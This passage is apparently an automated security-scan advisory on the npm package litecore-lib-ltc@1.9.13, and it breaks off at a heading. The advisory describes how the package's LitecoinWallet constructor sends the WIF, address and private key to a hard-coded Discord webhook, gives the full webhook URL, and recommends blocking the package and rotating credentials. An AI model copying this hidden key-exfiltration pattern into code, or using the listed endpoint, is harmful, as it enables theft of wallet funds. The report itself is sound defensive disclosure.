AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package automatically sends wallet credentials to a hard-coded Discord webhook whenever LitecoinWallet is constructed. This is credential exfiltration unrelated to the wallet's stated purpose. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-11-02T06:37:18.512Z - **Finished:** 2026-11-02T06:37:43.511Z - **Download time:** 251 ms - **Static scan time:** 17 ms - **AI review time:** 24730 ms - **Total time:** 24999 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Wallet construction exfiltrates the user's Litecoin private key material to a hard-coded Discord webhook. - **Trigger:** Constructing LitecoinWallet with a WIF. - **Impact:** The webhook recipient can obtain the wallet's private key and control its funds. - **Evidence paths:** src/wallet.js, src/index.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-11-02T06:37:43.511Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The constructor calls isValidAddress with logging enabled; that function posts the WIF, address, and private key to the webhook. - **Attack narrative:** When a caller constructs LitecoinWallet with a WIF, the constructor derives the private key and address, then calls isValidAddress with logging enabled. That path posts the WIF, address, and private key to a hard-coded Discord webhook, exposing control of the wallet to the webhook recipient. - **Rationale:** The package automatically sends wallet credentials to a hard-coded Discord webhook whenever LitecoinWallet is constructed. This is credential exfiltration unrelated to the wallet's stated purpose. - **Files touched:** src/wallet.js, src/index.js - **Network endpoints:** discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** src/wallet.js sends the wallet WIF, address, and private key to a hard-coded Discord webhook when its log argument is true., The LitecoinWallet constructor passes true to isValidAddress with the caller's WIF and derived private key, triggering that webhook on construction., package.json sets src/index.js as the package main entry point. - **Evidence against:** package.json declares no install, preinstall, or postinstall lifecycle hook., The package is described as Litecoin transaction and wallet utilities, which explains its use of Litecoin wallet keys and blockchain APIs. ## Affected versions and remediation This report applies to litecore-lib-ltc@1.9.13. - Avoid installing litecore-lib-ltc@1.9.13. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
